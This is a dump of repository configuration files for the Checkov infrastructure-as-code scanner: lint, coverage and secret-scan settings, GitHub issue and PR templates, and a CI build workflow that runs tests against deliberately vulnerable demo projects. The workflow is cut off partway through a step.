[
  {
    "path": ".cfnlintrc",
    "content": "templates:\n  - tests/cloudformation/checks/resource/aws/**/*.json\n  - tests/cloudformation/checks/resource/aws/**/*.yaml\nignore_templates:\n  - tests/cloudformation/checks/resource/aws/unused/*\n  # https://github.com/aws-cloudformation/cfn-python-lint/issues/1577\n  - tests/cloudformation/checks/resource/aws/example_AthenaWorkgroupConfiguration/*\n  # added resource with Properties, which is not supported by cfn-lint\n  - tests/cloudformation/checks/resource/aws/example_LambdaEnvironmentCredentials/sam.yaml\n  # includes tests with booleans as strings\n  - tests/cloudformation/checks/resource/aws/example_ECRImageScanning/*\n  - tests/cloudformation/checks/resource/aws/example_ALBDropHttpHeaders/*\n  - tests/cloudformation/checks/resource/aws/example_ELBv2AccessLogs/*\n  - tests/cloudformation/checks/resource/aws/example_RedShiftSSL/*\n  - tests/cloudformation/checks/resource/aws/example_LambdaEnvironmentCredentials/*\n  - tests/cloudformation/checks/resource/aws/example_SecurityGroupRuleDescription/*\n  - tests/cloudformation/checks/resource/aws/example_SecurityGroupRuleDescription\n  - tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress22/SecurityGroupUnrestrictedIngress22-UNKNOWN.yaml\n  - tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress80/SecurityGroupUnrestrictedIngress80-UNKNOWN.yaml\n  - tests/cloudformation/checks/resource/*\n  - tests/cloudformation/checks/resource/aws/example_IAMStarActionPolicyDocument/cfn_bad_iam_pass.yaml\n  - tests/cloudformation/checks/resource/aws/example_IAMRoleAllowAssumeFromAccount/UNKNOWN.yml\n  - tests/cloudformation/checks/resource/aws/example_cloudfrontDistribution/CloudfrontDistributionEncryption-UNKNOWN.yaml\n  - tests/cloudformation/checks/resource/aws/example_ALBListenerTLS12/ALBListenerTLS1.2-FAILED.yaml\nignore_checks:\n  - W\n"
  },
  {
    "path": ".coveragerc",
    "content": "[run]\nbranch = True\n[report]\nomit =\n    tests/*\n    */.pytest_cache/*\n    */.local/*\n    docs/*\n    hooks/*"
  },
  {
    "path": ".dockerignore",
    "content": "bin/\ncheckov/\ndocs/\nintegration_tests/\ntests/"
  },
  {
    "path": ".flake8",
    "content": "# can be moved to pyproject.toml some day\n# https://github.com/PyCQA/flake8/issues/234\n[flake8]\nmax-line-length = 120\n# E203,E501 don't work with black together\nignore = E203,E501,E731,W503,W504,DUO107,DUO104,DUO130,DUO109,DUO116,B028,B950,TC001,TC003,TC006,B907,B038,B909\nselect = C,E,F,W,B,B9,A,TC\nextend-exclude = .github, .pytest_cache, docs/*, venv/*, tests/*, flake8_plugins/*, cdk_integration_tests/src/python/*\n\n[flake8:local-plugins]\nextension =\n  CCE = flake8_plugins.flake8_class_attributes_plugin.flake8_class_attributes.checker:ClassAttributesChecker\npaths =\n  . flake8_plugins/flake8_class_attributes_plugin/flake8_class_attributes"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/best_practices_issue.md",
    "content": "---\nname: Best practices improvement\nabout: Issues that will help achieve best practices using checkov.\ntitle: ''\nlabels: 'best practices'\nassignees: ''\n\n---\n\n**Describe the issue**\nIf it is related to an existing check, please note the relevant check ID.\nAlso, explain the logic for this addition / change.\n\n**Examples**\nPlease share an example code sample (in the IaC of your choice) + the expected outcomes.\n\n**Version (please complete the following information):**\n - Checkov Version [e.g. 22]\n\n**Additional context**\nAdd any other context about the problem here.\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/checks_issue.md",
    "content": "---\nname: Checks Issue\nabout: Create an issue regarding a check (existing or missing)\ntitle: ''\nlabels: 'checks'\nassignees: ''\n\n---\n\n**Describe the issue**\nIf it is related to an existing check, please note the relevant check ID.\nAlso, explain the logic for this addition / change.\n\n**Examples**\nPlease share an example code sample (in the IaC of your choice) + the expected outcomes.\n\n**Version (please complete the following information):**\n - Checkov Version [e.g. 22]\n\n**Additional context**\nAdd any other context about the problem here.\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/crash_report.md",
    "content": "---\nname: Crash report\nabout: Create an issue for cases causing checkov to crash\ntitle: ''\nlabels: 'crash'\nassignees: ''\n\n---\n\n**Describe the issue**\nExplain what you expected to happen when checkov crashed.\n\n**Examples**\nPlease share an example code sample (in the IaC of your choice) + the expected outcomes.\n\n**Exception Trace**\nPlease share the trace for the exception and all relevant output by checkov.\nTo maximize the understanding, please run checkov with LOG_LEVEL set to debug\nas follows:\n```sh\nLOG_LEVEL=DEBUG checkov ...\n```\n\n**Desktop (please complete the following information):**\n - OS: [e.g. iOS]\n - Checkov Version [e.g. 22]\n\n**Additional context**\nAdd any other context about the problem here (e.g. code snippets).\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/feature_request.md",
    "content": "---\nname: Feature request\nabout: Feature requests or requests for enhancements that are not bugs.\ntitle: ''\nlabels: 'contribution requested'\nassignees: ''\n\n---\n\n**Describe the feature**\n\nExplain the feature in detail. Note that feature requests are always reviewed, but prioritized based on popularity, effort, and impact. We also welcome contributions.\n\n**Examples**\n\nPlease share an example code sample (in the IaC of your choice) + expected inputs and outputs from Checkov + the expected outcomes.\n\n**Additional context**\n\nAdd any other context about the problem here.\n\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/graph_issue.md",
    "content": "---\nname: Graph Issue\nabout: Create an issue regarding the graph creation and querying\ntitle: ''\nlabels: 'graph'\nassignees: ''\n\n---\n\n**Describe the issue**\nPlease explain what is missing or malfunctioning in the graph (creation or querying).\nAlso detail what is the expected behavior for this use case.\n\n**Examples**\nPlease share an example code sample (in the IaC of your choice) + the expected outcomes.\n\n**Desktop (please complete the following information):**\n - OS: [e.g. iOS]\n - Checkov Version [e.g. 22]\n\n**Additional context**\nAdd any other context about the problem here (e.g. code snippets).\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/integrations_issue.md",
    "content": "---\nname: Integrations Issue\nabout: Create an issue regarding the integration of checkov with other tools.\ntitle: ''\nlabels: 'integrations'\nassignees: ''\n\n---\n\n**Describe the issue**\nIf an existing integration is malfunctioning, please describe the current state and \nwhat you expect to be happening.\nFor new integrations, please share an example use case this integration will help \ncheckov support.\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/languages_issue.md",
    "content": "---\nname: Languages Issue\nabout: Create an issue regarding the frameworks and languages supported by checkov\ntitle: ''\nlabels: 'languages'\nassignees: ''\n\n---\n\n**Describe the issue**\nDescribe the framework / feature that is missing in a supported framework that you\nwould like to add and explain what the use case is.\n\n**Example Value**\nPlease share an example check / use case that this issue will allow checkov to support.\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/noise_issue.md",
    "content": "---\nname: Noise Issue\nabout: Create an issue regarding checkov's output and noise it generates.\ntitle: ''\nlabels: 'noise'\nassignees: ''\n\n---\n\n**Describe the issue**\nPlease explain the use case that leads to this noise being generated.\n\n**Examples**\nPlease share an example code sample (in the IaC of your choice) + the expected outcomes.\n\n**Version (please complete the following information):**\n - Checkov Version [e.g. 22]\n\n**Additional context**\nAdd any other context about the problem here.\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/outputs_issue.md",
    "content": "---\nname: Outputs Issue\nabout: Create an issue regarding checkov's output (addition or fix)\ntitle: ''\nlabels: 'outputs'\nassignees: ''\n\n---\n\n**Describe the issue**\nIf regarding an existing output (json, junit-xml etc.) please note what is the current state\nand what is the expected state. For new outputs - please describe the use case to add it.\n\n**Additional context**\nAdd any other context about the problem here.\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/skips_issue.md",
    "content": "---\nname: Skipping Issue\nabout: Create an issue regarding checkov's skipping mechanism\ntitle: ''\nlabels: 'skips'\nassignees: ''\n\n---\n\n**Describe the issue**\nPlease explain the functionality that is missing for you, what you did and \nwhat was the actual output.\n\n**Examples**\nPlease share an example code sample (in the IaC of your choice) + the expected outcomes.\n\n**Version (please complete the following information):**\n - Checkov Version [e.g. 22]\n\n**Additional context**\nAdd any other context about the problem here.\n"
  },
  {
    "path": ".github/PULL_REQUEST_TEMPLATE.md",
    "content": "**By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.**\n\n[//]: # \"\n    # PR Title\n    We use the title to create changelog automatically and therefore only allow specific prefixes\n    - break:    to indicate a breaking change, this supersedes any of the other types\n    - feat:     to indicate new features or checks\n    - fix:      to indicate a bugfix or handling of edge cases of existing checks\n    - docs:     to indicate an update to our documentation\n    - chore:    to indicate adjustments to workflow files or dependency updates\n    - platform: to indicate a change needed for the platform\n    Each prefix should be accompanied by a scope that specifies the targeted framework. If uncertain, use 'general'.\n    #    \n    Allowed prefixs:\n    ansible|argo|arm|azure|bicep|bitbucket|circleci|cloudformation|dockerfile|github|gha|gitlab|helm|kubernetes|kustomize|openapi|sast|sca|secrets|serverless|terraform|general|graph|terraform_plan|terraform_json\n    #\n    ex.\n    feat(terraform): add CKV_AWS_123 to ensure that VPC Endpoint Service is configured for Manual Acceptance\n\"\n\n## Description\n\n*Please include a summary of the change and which issue is fixed. Please also include relevant motivation and context. List any dependencies that are required for this change.*\n\nFixes # (issue)\n\n## New/Edited policies (Delete if not relevant)\n\n### Description\n*Include a description of what makes it a violation and any relevant external links.*\n\n### Fix\n*How does someone fix the issue in code and/or in runtime?*\n\n## Checklist:\n\n- [ ] I have performed a self-review of my own code\n- [ ] I have commented my code, particularly in hard-to-understand areas\n- [ ] I have made corresponding changes to the documentation\n- [ ] I have added tests that prove my feature, policy, or fix is effective and works\n- [ ] New and existing tests pass locally with my changes\n"
  },
  {
    "path": ".github/actionlint.yaml",
    "content": "self-hosted-runner:\n  labels:\n    - public\n"
  },
  {
    "path": ".github/checkov.yaml",
    "content": "enable-secret-scan-all-files: true\nframework:\n- secrets\nquiet: true\nskip-path:\n- docs\n- tests/arm/checks/resource/example_AzureScaleSetPassword/FAILED.json\n- tests/arm/checks/resource/example_AzureScaleSetPassword/UNKNOWN.json\n- tests/arm/checks/resource/example_StorageAccountAzureServicesAccessEnabled/storageAccountAzureServicesAccessEnabled-FAILED2.json\n- tests/arm/checks/resource/example_StorageAccountDefaultNetworkAccessDeny/storageAccountDefaultNetworkAccessDeny-FAILED2.json\n- tests/terraform/checks/resource/azure/example_AzureInstanceExtensions/main.tf\n- tests/common/utils/conftest.py\n- tests/common/utils/test_secrets_utils.py\n- tests/sca_image/conftest.py\n- tests/sca_package_2/conftest.py\n- tests/secrets\n- tests/terraform/checks/provider\n- tests/terraform/parser/resources/plan_tags/tfplan.json\n- tests/terraform/runner/resources/plan/tfplan.json\n- tests/terraform/runner/tf_plan_skip_check_regex/resource/skip_directory/tfplan2.json\n- tests/terraform/runner/tf_plan_skip_check_regex/resource/tfplan1.json\n- tests/terraform/runner/tfplan2.json\n- tests/unit/test_secrets.py\n- tests/terraform/runner/resources/example/example.tf\n- tests/terraform/graph\n- tests/terraform/checks\n- /checkov/secrets/plugins/entropy_keyword_combinator.py\n- /checkov/secrets/plugins/detector_utils.py\n- /cdk_integration_tests/src/python/RedshiftClusterPubliclyAccessible/pass.py\n- /cdk_integration_tests/src/python/RedshiftClusterEncryption/pass.py\n- /cdk_integration_tests/src/python/RedshiftClusterEncryption/fail__1__.py\n- /cdk_integration_tests/src/python/RedshiftClusterPubliclyAccessible/fail__1__.py\n- /cdk_integration_tests/src/python/ElasticacheReplicationGroupEncryptionAtTransitAuthToken/fail__2__.py\n- /cdk_integration_tests/src/python/ElasticacheReplicationGroupEncryptionAtTransitAuthToken/pass.py\n- /cdk_integration_tests/src/typescript\n- /checkov/cdk/checks/python/GlueDataCatalogEncryption.yaml\n- /checkov/cdk/checks/python/GlueDataCatalogEncryption.yaml\n- /checkov/cdk/checks/python/GlueDataCatalogEncryption.yaml\n- /checkov/cdk/checks/python/GlueDataCatalogEncryption.yaml\n- tests/terraform/runner/resources/plan_with_providers\nsummary-position: bottom\n"
  },
  {
    "path": ".github/codeql-config.yml",
    "content": "name: \"CodeQL config\"\n\npaths-ignore:\n  - tests\n"
  },
  {
    "path": ".github/dependabot.yml",
    "content": "version: 2\nupdates:\n  - package-ecosystem: \"github-actions\"\n    directory: \"/\"\n    schedule:\n      interval: \"weekly\"\n"
  },
  {
    "path": ".github/exclude-patterns.txt",
    "content": "checkov/terraform/module_loading/loaders/github_access_token_loader.py\ncheckov/terraform/module_loading/loaders/git_loader.py\ndocs/2.Basics/Scanning Credentials and Secrets.md\ndocs/5.Contribution/New-Provider.md\ngithub_action_resources/entrypoint.sh\ntests/serverless/checks/aws/example_AWSCredentials/AWSCredentials-FAILED-func_level/serverless.yml\ntests/serverless/checks/aws/example_AWSCredentials/AWSCredentials-FAILED-provider_level/serverless.yml\ntests/serverless/checks/aws/example_AWSCredentials/AWSCredentials-FAILED-provider_level/serverless.yml\ntests/serverless/checks/aws/example_AWSCredentials/AWSCredentials-FAILED-func_level/serverless.yml\ntests/serverless/checks/aws/example_AWSCredentials/AWSCredentials-FAILED-provider_level/serverless.yml\ntests/cloudformation/checks/resource/aws/example_EC2Credentials/EC2Credentials-FAILED.yaml\ntests/cloudformation/checks/resource/aws/example_AWSCredentials/EC2Credentials-FAILED.yaml\ntests/cloudformation/checks/resource/aws/example_LambdaEnvironmentCredentials/sam.yaml\ntests/cloudformation/checks/resource/aws/example_LambdaEnvironmentCredentials/FAIL.yaml\ntests/cloudformation/graph/checks/resources/LambdaFunction/template.yaml\ntests/common/suppressions_resources/suppressions.tf\ntests/secrets/.*\ntests/common/utils/test_secrets_utils.py\ntests/terraform/runner/resources/example/example.tf\ntests/terraform/checks/resource/aws/example_EC2Credentials/main.tf\ntests/terraform/checks/resource/aws/example_LambdaEnvironmentCredentials/main.tf\ntests/terraform/checks/provider/aws/test_credentials.py\ntests/terraform/checks/resource/aws/test_EC2Credentials.py\ntests/terraform/checks/provider/ncp/test_credentials.py\ntests/terraform/checks/provider/openstack/test_credentials.py\ntests/terraform/module_loading/test_registry.py\ntests/terraform/checks/resource/azure/example_AzureInstanceExtensions/main.tf\ntests/unit/test_secrets.py\ntests/terraform/runner/resources/plan/tfplan.json\ntests/terraform/parser/resources/plan_tags/tfplan.json\ntests/terraform/image_referencer/resources/aws/batch_tfplan.json\ntests/helm/runner/resources/schema-registry\ntests/common/utils/conftest.py\ntests/terraform/runner/resources/get_graph_resource_entity_config/main.tf\ntests/terraform/runner/tf_plan_skip_check_regex/resource/.*\ntests/terraform/runner/tfplan2.json\ntests/terraform/runner/resources/plan_with_providers/tfplan.json\ntests/terraform/runner/resources/plan_with_providers/main.tf\n.*Scans.md\n.*Pipfile.lock\n"
  },
  {
    "path": ".github/pr-title-checker-config.json",
    "content": "{\n  \"LABEL\": {\n    \"name\": \"title needs adjustment\",\n    \"color\": \"EEEEEE\"\n  },\n  \"CHECKS\": {\n    \"prefixes\": [\n      \"chore: \"\n    ],\n    \"regexp\": \"^(fix|feat|break|docs|chore|platform)\\\\((ansible|argo|arm|azure|bicep|bitbucket|circleci|cloudformation|dockerfile|github|gha|gitlab|helm|kubernetes|kustomize|openapi|sast|sca|secrets|serverless|terraform|general|graph|terraform_plan|terraform_json)\\\\): \"\n  },\n  \"MESSAGES\": {\n    \"success\": \"PR title is valid\",\n    \"failure\": \"PR title is invalid\",\n    \"notice\": \"Title needs to pass regex '(fix|feat|break|docs|chore|platform)\\\\((ansible|argo|arm|azure|bicep|bitbucket|circleci|cloudformation|dockerfile|github|gha|gitlab|helm|kubernetes|kustomize|openapi|sast|sca|secrets|serverless|terraform|general|graph|terraform_plan|terraform_json)\\\\): '\"\n  }\n}\n"
  },
  {
    "path": ".github/release-changelog-config.json",
    "content": "{\n    \"categories\": [\n        {\n            \"title\": \"## Breaking Change\",\n            \"labels\": [\"break\"]\n        },\n        {\n            \"title\": \"## Feature\",\n            \"labels\": [\"feat\"]\n        },\n        {\n            \"title\": \"## Bug Fix\",\n            \"labels\": [\"fix\"]\n        },\n        {\n            \"title\": \"## Platform\",\n            \"labels\": [\"platform\"]\n        },\n        {\n            \"title\": \"## Documentation\",\n            \"labels\": [\"docs\"]\n        }\n    ],\n    \"sort\": {\n        \"order\": \"ASC\",\n        \"on_property\": \"title\"\n    },\n    \"template\": \"${{CHANGELOG}}\",\n    \"pr_template\": \"- ${{TITLE}} - [#${{NUMBER}}](${{URL}})\",\n    \"empty_template\": \"- no noteworthy changes\",\n    \"label_extractor\": [\n        {\n            \"pattern\": \"([^\\\\(]+)\\\\(.+\\\\): .+\",\n            \"on_property\": \"title\",\n            \"target\": \"$1\"\n        }\n    ],\n    \"transformers\": [\n        {\n            \"pattern\": \"([^\\\\(]+)\\\\(?([^\\\\)]+)?\\\\)?: (.+)\",\n            \"target\": \"- **$2:** $3\"\n        }\n    ],\n    \"max_pull_requests\": 100,\n    \"max_back_track_time_days\": 7\n}\n"
  },
  {
    "path": ".github/stale.yml",
    "content": "# Configuration for probot-stale - https://github.com/probot/stale\n\n# Number of days of inactivity before an Issue or Pull Request becomes stale\ndaysUntilStale: 180\n\n# Number of days of inactivity before an Issue or Pull Request with the stale label is closed.\n# Set to false to disable. If disabled, issues still need to be closed manually, but will remain marked as stale.\ndaysUntilClose: 14\n\n# Only issues or pull requests with all of these labels are check if stale. Defaults to `[]` (disabled)\nonlyLabels: []\n\n# Issues or Pull Requests with these labels will never be considered stale. Set to `[]` to disable\nexemptLabels:\n  - pinned\n  - security\n  - nostale\n\n# Set to true to ignore issues in a project (defaults to false)\nexemptProjects: false\n\n# Set to true to ignore issues in a milestone (defaults to false)\nexemptMilestones: false\n\n# Set to true to ignore issues with an assignee (defaults to false)\nexemptAssignees: false\n\n# Label to use when marking as stale\nstaleLabel: stale\n\n# Comment to post when marking as stale. Set to `false` to disable\nmarkComment: >\n  Thanks for contributing to Checkov! \n  We've automatically marked this issue as stale to keep our issues list tidy, \n  because it has not had any activity for 6 months. \n  It will be closed in 14 days if no further activity occurs. \n  Commenting on this issue will remove the stale tag.\n  If you want to talk through the issue or help us understand the priority and context, \n  feel free to add a comment or join us in the Checkov slack channel at codifiedsecurity.slack.com\n\n  Thanks! \n\n# Comment to post when removing the stale label.\n# unmarkComment: >\n#   Your comment here.\n\n# Comment to post when closing a stale Issue or Pull Request.\ncloseComment: >\n  Closing issue due to inactivity.\n  If you feel this is in error, please re-open, or reach out to the community via slack:\n  codifiedsecurity.slack.com\n  Thanks!\n\n# Limit the number of actions per hour, from 1-30. Default is 30\nlimitPerRun: 30\n\n# Limit to only `issues` or `pulls`\n# only: issues\n\n# Optionally, specify configuration settings that are specific to just 'issues' or 'pulls':\n# pulls:\n#   daysUntilStale: 30\n#   markComment: >\n#     This pull request has been automatically marked as stale because it has not had\n#     recent activity. It will be closed if no further activity occurs. Thank you\n#     for your contributions.\n\n# issues:\n#   exemptLabels:\n#     - confirmed"
  },
  {
    "path": ".github/workflows/build.yml",
    "content": "name: build\n\non:\n  workflow_dispatch:\n    inputs:\n      versionBump:\n        description: 'The part of the version to bump'\n        required: true\n        default: 'patch'\n        type: choice\n        options:\n          - patch\n          - minor\n          - major\n\n  push:\n    branches:\n      - main\n    paths-ignore:\n      - 'docs/**'\n      - 'INTHEWILD.md'\n      - 'README.md'\n      - 'CHANGELOG.md'\n      - '.github/**'\n      - checkov/version.py\n      - kubernetes/requirements.txt\n      - coverage.svg\n      - '.swm/**'\n      - '.pre-commit-config.yaml'\n\npermissions:\n  contents: read\n\nconcurrency:\n  group: 'build'\n  cancel-in-progress: true\n\njobs:\n  security:\n    uses: ./.github/workflows/security-shared.yml\n    secrets: inherit\n\n  integration-tests:\n    strategy:\n      fail-fast: true\n      matrix:\n        python: [\"3.10\", \"3.11\", \"3.12\", \"3.13\"]\n        os: [ubuntu-latest, macos-latest, windows-latest]\n    runs-on: ${{ matrix.os }}\n    steps:\n      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n      - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f  # v4\n        with:\n          python-version: ${{ matrix.python }}\n      - uses: actions/setup-node@cdca7365b2dadb8aad0a33bc7601856ffabcc48e  # v3\n      - uses: azure/setup-helm@5119fcb9089d432beecbf79bb2c7915207344b78  # v3\n        with:\n          version: \"v3.19.1\"\n          token: ${{ secrets.GITHUB_TOKEN }}\n      - uses: imranismail/setup-kustomize@a76db1c6419124d51470b1e388c4b29476f495f1  # v2\n        if: ${{ runner.os != 'windows' }}\n        with:\n          github-token: ${{ secrets.GITHUB_TOKEN }}\n      - name: Install pipenv\n        run: |\n          python -m pip install --no-cache-dir --upgrade pipenv\n      - name: Build & install checkov package\n        run: |\n          # remove venv, if exists\n          pipenv --rm || true\n          pipenv --python ${{ matrix.python }}\n          pipenv run pip install pytest pytest-xdist setuptools wheel\n          pipenv run python setup.py sdist bdist_wheel\n          bash -c 'pipenv run pip install dist/checkov-*.whl'\n      - name: Clone Terragoat - vulnerable terraform\n        run: git clone https://github.com/bridgecrewio/terragoat\n      - name: Clone Cfngoat - vulnerable cloudformation\n        run: git clone https://github.com/bridgecrewio/cfngoat\n      - name: Clone Kubernetes-goat - vulnerable kubernetes\n        run: git clone https://github.com/madhuakula/kubernetes-goat\n      - name: Clone kustomize-goat - vulnerable kustomize\n        run: git clone https://github.com/bridgecrewio/kustomizegoat\n      - name: Create checkov reports\n        run: |\n          # Just making sure the API key tests don't run on PRs\n          bash -c './integration_tests/prepare_data.sh \"${{ matrix.os }}\" \"${{ matrix.python }}\"'\n        env:\n          LOG_LEVEL: INFO\n          BC_KEY: ${{ secrets.PRISMA_KEY_API2 }}\n          PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }}\n          TF_REGISTRY_TOKEN: ${{ secrets.TFC_TOKEN }}\n          GITHUB_PAT: ${{ secrets.GITHUB_TOKEN }}\n      - name: Run integration tests\n        run: |\n          pipenv run pytest integration_tests\n\n  integration-tests-old-python:\n    strategy:\n      fail-fast: true\n      matrix:\n        python: [\"3.9\"]\n        os: [ubuntu-latest, windows-latest]\n    runs-on: ${{ matrix.os }}\n    steps:\n      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n      - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f  # v4\n        with:\n          python-version: ${{ matrix.python }}\n      - uses: actions/setup-node@cdca7365b2dadb8aad0a33bc7601856ffabcc48e  # v3\n      - uses: azure/setup-helm@5119fcb9089d432beecbf79bb2c7915207344b78  # v3\n        with:\n          version: \"v3.19.1\"\n          token: ${{ secrets.GITHUB_TOKEN }}\n      - uses: imranismail/setup-kustomize@a76db1c6419124d51470b1e388c4b29476f495f1  # v2\n        if: ${{ runner.os != 'windows' }}\n        with:\n          github-token: ${{ secrets.GITHUB_TOKEN }}\n      - name: Install pipenv\n        run: |\n          python -m pip install --no-cache-dir --upgrade pipenv\n      - name: Build & install checkov package\n        run: |\n          # remove venv, if exists\n          pipenv --rm || true\n          pipenv --python ${{ matrix.python }}\n          pipenv run pip install pytest pytest-xdist setuptools wheel\n          pipenv run python setup.py sdist bdist_wheel\n          bash -c 'pipenv run pip install dist/checkov-*.whl'\n      - name: Clone Terragoat - vulnerable terraform\n        run: git clone https://github.com/bridgecrewio/terragoat\n      - name: Clone Cfngoat - vulnerable cloudformation\n        run: git clone https://github.com/bridgecrewio/cfngoat\n      - name: Clone Kubernetes-goat - vulnerable kubernetes\n        run: git clone https://github.com/madhuakula/kubernetes-goat\n      - name: Clone kustomize-goat - vulnerable kustomize\n        run: git clone https://github.com/bridgecrewio/kustomizegoat\n      - name: Create checkov reports\n        run: |\n          # Just making sure the API key tests don't run on PRs\n          bash -c './integration_tests/prepare_data.sh \"${{ matrix.os }}\" \"${{ matrix.python }}\"'\n        env:\n          LOG_LEVEL: INFO\n          BC_KEY: ${{ secrets.PRISMA_KEY_API2 }}\n          PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }}\n          TF_REGISTRY_TOKEN: ${{ secrets.TFC_TOKEN }}\n          GITHUB_PAT: ${{ secrets.GITHUB_TOKEN }}\n      - name: Run integration tests\n        run: |\n          pipenv run pytest integration_tests\n\n  prisma-tests:\n    runs-on: [ self-hosted, public, linux, x64 ]\n    env:\n      PYTHON_VERSION: \"3.9\"\n    steps:\n      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n      - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f  # v4\n        with:\n          python-version: ${{ env.PYTHON_VERSION }}\n      - name: Install pipenv\n        run: |\n          python -m pip install --no-cache-dir --upgrade pipenv\n      - name: Build & install checkov package\n        run: |\n          # remove venv, if exists\n          pipenv --rm || true\n          pipenv --python ${{ env.PYTHON_VERSION }}\n          pipenv run pip install pytest pytest-xdist\n          pipenv run python setup.py sdist bdist_wheel\n          bash -c 'pipenv run pip install dist/checkov-*.whl'\n      - name: Clone Terragoat - vulnerable terraform\n        run: git clone https://github.com/bridgecrewio/terragoat\n      - name: Run checkov with Prisma creds\n        env:\n          PRISMA_KEY: ${{ secrets.PRISMA_KEY_API2 }}\n          PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }}\n        run: |\n          pipenv run checkov -s -d terragoat --bc-api-key \"$PRISMA_KEY\" --repo-id yuvalyacoby/terragoat > checkov_report_prisma.txt\n          grep \"prismacloud.io\" checkov_report_prisma.txt\n          exit $?\n  sast-integration-tests:\n    strategy:\n      fail-fast: true\n      matrix:\n        python: [\"3.10\", \"3.11\", \"3.12\", \"3.13\"]\n        os: [ubuntu-latest, macos-latest]\n    runs-on: ${{ matrix.os }}\n    continue-on-error: true # for now it is ok to fail\n    steps:\n      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n      - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f  # v4\n        with:\n          python-version: ${{ matrix.python }}\n      - name: Install pipenv\n        run: |\n          python -m pip install --no-cache-dir --upgrade pipenv\n      - name: Build & install checkov package\n        run: |\n          # remove venv, if exists\n          pipenv --rm || true\n          pipenv --python ${{ matrix.python }}\n          pipenv run pip install pytest pytest-xdist setuptools wheel\n          pipenv run python setup.py sdist bdist_wheel\n          bash -c 'pipenv run pip install dist/checkov-*.whl'\n      - name: Clone flask - Python repo for SAST\n        run: git clone https://github.com/pallets/flask\n      - name: Clone WebGoat - Java repo for SAST\n        run: git clone https://github.com/WebGoat/WebGoat\n      - name: Clone axios - JavaScript repo for SAST\n        run: git clone https://github.com/axios/axios\n      - name: Create checkov reports\n        env:\n          LOG_LEVEL: INFO\n          BC_API_KEY: ${{ secrets.PRISMA_KEY_API2 }}\n          PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }}\n        run: bash -c './sast_integration_tests/prepare_data.sh'\n      - name: Run integration tests\n        run: |\n          pipenv run pytest sast_integration_tests\n\n  sast-integration-tests-old-python:\n    strategy:\n      fail-fast: true\n      matrix:\n        python: [\"3.9\"]\n        os: [ubuntu-latest]\n    runs-on: ${{ matrix.os }}\n    continue-on-error: true # for now it is ok to fail\n    steps:\n      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n      - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f  # v4\n        with:\n          python-version: ${{ matrix.python }}\n      - name: Install pipenv\n        run: |\n          python -m pip install --no-cache-dir --upgrade pipenv\n      - name: Build & install checkov package\n        run: |\n          # remove venv, if exists\n          pipenv --rm || true\n          pipenv --python ${{ matrix.python }}\n          pipenv run pip install pytest pytest-xdist setuptools wheel\n          pipenv run python setup.py sdist bdist_wheel\n          bash -c 'pipenv run pip install dist/checkov-*.whl'\n      - name: Clone flask - Python repo for SAST\n        run: git clone https://github.com/pallets/flask\n      - name: Clone WebGoat - Java repo for SAST\n        run: git clone https://github.com/WebGoat/WebGoat\n      - name: Clone axios - JavaScript repo for SAST\n        run: git clone https://github.com/axios/axios\n      - name: Create checkov reports\n        env:\n          LOG_LEVEL: INFO\n          BC_API_KEY: ${{ secrets.PRISMA_KEY_API2 }}\n          PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }}\n        run: bash -c './sast_integration_tests/prepare_data.sh'\n      - name: Run integration tests\n        run: |\n          pipenv run pytest sast_integration_tests\n\n  unit-tests:\n    timeout-minutes: 30\n    runs-on: ubuntu-latest\n    env:\n      PYTHON_VERSION: \"3.9\"\n    steps:\n      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n      - name: Set up Python ${{ env.PYTHON_VERSION }}\n        uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f  # v4\n        with:\n          python-version: ${{ env.PYTHON_VERSION }}\n      - uses: azure/setup-helm@5119fcb9089d432beecbf79bb2c7915207344b78  # v3\n        with:\n          token: ${{ secrets.GITHUB_TOKEN }}\n      - uses: imranismail/setup-kustomize@a76db1c6419124d51470b1e388c4b29476f495f1  # v2\n        with:\n          github-token: ${{ secrets.GITHUB_TOKEN }}\n      - name: Install pipenv\n        run: |\n          python -m pip install --no-cache-dir --upgrade pipenv\n      - name: Install dependencies\n        run: |\n          # remove venv, if exists\n          pipenv --rm || true\n          pipenv --python ${{ env.PYTHON_VERSION }}\n          pipenv install --dev\n      - name: Test with pytest\n        env:\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n          IS_TEST: true\n        run: |\n          pipenv run python -m pytest tests\n  bump-version:\n    needs: [integration-tests, unit-tests, prisma-tests, sast-integration-tests, integration-tests-old-python, sast-integration-tests-old-python]\n    runs-on: [self-hosted, public, linux, x64]\n    environment: release\n    permissions:\n      contents: write\n      # IMPORTANT: this permission is mandatory for trusted publishing to pypi\n      id-token: write\n    timeout-minutes: 30\n    env:\n      PYTHON_VERSION: \"3.9\"\n    steps:\n      - uses: 